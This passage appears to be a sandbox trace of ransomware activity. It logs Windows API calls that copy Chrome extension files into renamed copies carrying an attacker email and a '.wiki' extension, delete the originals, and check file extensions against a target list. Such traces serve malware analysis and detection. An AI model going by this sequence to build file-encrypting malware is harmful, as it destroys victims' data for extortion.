dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.777] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=345) returned 1 [0173.777] CloseHandle (hObject=0x320) returned 1 [0173.777] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json")) returned 0x2020 [0173.777] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.777] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.777] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.778] GetLastError () returned 0x0 [0173.778] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x159, lpOverlapped=0x0) returned 1 [0173.779] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x160, lpOverlapped=0x0) returned 1 [0173.780] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.780] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.780] SetEndOfFile (hFile=0x198) returned 1 [0173.780] CloseHandle (hObject=0x198) returned 1 [0173.780] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.780] SetEndOfFile (hFile=0x320) returned 1 [0173.781] CloseHandle (hObject=0x320) returned 1 [0173.781] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.781] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json")) returned 1 [0173.781] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.781] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.781] lstrlenW (lpString=".doc") returned 4 [0173.781] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.781] lstrlenW (lpString=".docx") returned 5 [0173.782] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.782] lstrlenW (lpString=".pdf") returned 4 [0173.782] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.782] lstrlenW (lpString=".xls") returned 4 [0173.782] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.782] lstrlenW (lpString=".xlsx") returned 5 [0173.782] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.782] lstrlenW (lpString=".ppt") returned 4 [0173.782] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.782] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.782] lstrlenW (lpString=".zip") returned 4 [0173.782] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.782] lstrlenW (lpString=".rar") returned 4 [0173.782] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.782] lstrlenW (lpString=".bz2") returned 4 [0173.782] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.782] lstrlenW (lpString=".7z") returned 3 [0173.782] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.782] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.782] lstrlenW (lpString=".dbf") returned 4 [0173.782] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.782] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.782] lstrlenW (lpString=".1cd") returned 4 [0173.782] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.782] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.782] lstrlenW (lpString=".jpg") returned 4 [0173.782] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.782] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.783] lstrlenW (lpString=".doc") returned 4 [0173.783] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.783] lstrlenW (lpString=".docx") returned 5 [0173.783] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.783] lstrlenW (lpString=".pdf") returned 4 [0173.783] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.783] lstrlenW (lpString=".xls") returned 4 [0173.783] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.783] lstrlenW (lpString=".xlsx") returned 5 [0173.783] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.783] lstrlenW (lpString=".ppt") returned 4 [0173.783] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.783] lstrlenW (lpString=".zip") returned 4 [0173.783] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.783] lstrlenW (lpString=".rar") returned 4 [0173.783] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.783] lstrlenW (lpString=".bz2") returned 4 [0173.783] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.783] lstrlenW (lpString=".7z") returned 3 [0173.783] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.783] lstrlenW (lpString=".dbf") returned 4 [0173.783] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.783] lstrlenW (lpString=".1cd") returned 4 [0173.783] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.783] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\messages.json") returned 152 [0173.783] lstrlenW (lpString=".jpg") returned 4 [0173.783] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.784] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.784] lstrlenW (lpString="messages.json") returned 13 [0173.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.784] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=263) returned 1 [0173.784] CloseHandle (hObject=0x320) returned 1 [0173.784] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json")) returned 0x2020 [0173.784] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.784] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.784] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.785] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.785] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.785] GetLastError () returned 0x0 [0173.785] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x107, lpOverlapped=0x0) returned 1 [0173.786] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.787] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.787] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.787] SetEndOfFile (hFile=0x198) returned 1 [0173.787] CloseHandle (hObject=0x198) returned 1 [0173.788] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.788] SetEndOfFile (hFile=0x320) returned 1 [0173.788] CloseHandle (hObject=0x320) returned 1 [0173.788] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.789] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json")) returned 1 [0173.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.789] lstrlenW (lpString=".doc") returned 4 [0173.789] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.789] lstrlenW (lpString=".docx") returned 5 [0173.789] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.789] lstrlenW (lpString=".pdf") returned 4 [0173.789] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.789] lstrlenW (lpString=".xls") returned 4 [0173.789] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.789] lstrlenW (lpString=".xlsx") returned 5 [0173.789] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.789] lstrlenW (lpString=".ppt") returned 4 [0173.789] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.789] lstrlenW (lpString=".zip") returned 4 [0173.789] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.789] lstrlenW (lpString=".rar") returned 4 [0173.789] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.789] lstrlenW (lpString=".bz2") returned 4 [0173.789] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.789] lstrlenW (lpString=".7z") returned 3 [0173.790] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.790] lstrlenW (lpString=".dbf") returned 4 [0173.790] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.790] lstrlenW (lpString=".1cd") returned 4 [0173.790] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.790] lstrlenW (lpString=".jpg") returned 4 [0173.790] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.790] lstrlenW (lpString=".doc") returned 4 [0173.790] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.790] lstrlenW (lpString=".docx") returned 5 [0173.790] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.790] lstrlenW (lpString=".pdf") returned 4 [0173.790] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.790] lstrlenW (lpString=".xls") returned 4 [0173.790] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.790] lstrlenW (lpString=".xlsx") returned 5 [0173.790] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.790] lstrlenW (lpString=".ppt") returned 4 [0173.790] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.790] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.790] lstrlenW (lpString=".zip") returned 4 [0173.790] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.790] lstrlenW (lpString=".rar") returned 4 [0173.791] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.791] lstrlenW (lpString=".bz2") returned 4 [0173.791] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.791] lstrlenW (lpString=".7z") returned 3 [0173.791] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.791] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.791] lstrlenW (lpString=".dbf") returned 4 [0173.791] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.791] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.791] lstrlenW (lpString=".1cd") returned 4 [0173.791] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.791] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\messages.json") returned 152 [0173.791] lstrlenW (lpString=".jpg") returned 4 [0173.791] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.791] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.791] lstrlenW (lpString="messages.json") returned 13 [0173.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.792] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=264) returned 1 [0173.792] CloseHandle (hObject=0x320) returned 1 [0173.792] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json")) returned 0x2020 [0173.792] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.792] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.792] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.016] GetLastError () returned 0x0 [0174.017] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x108, lpOverlapped=0x0) returned 1 [0174.017] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0174.018] ReadFile (in: hFile=0x320, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.018] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.019] SetEndOfFile (hFile=0x198) returned 1 [0174.019] CloseHandle (hObject=0x198) returned 1 [0174.019] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.019] 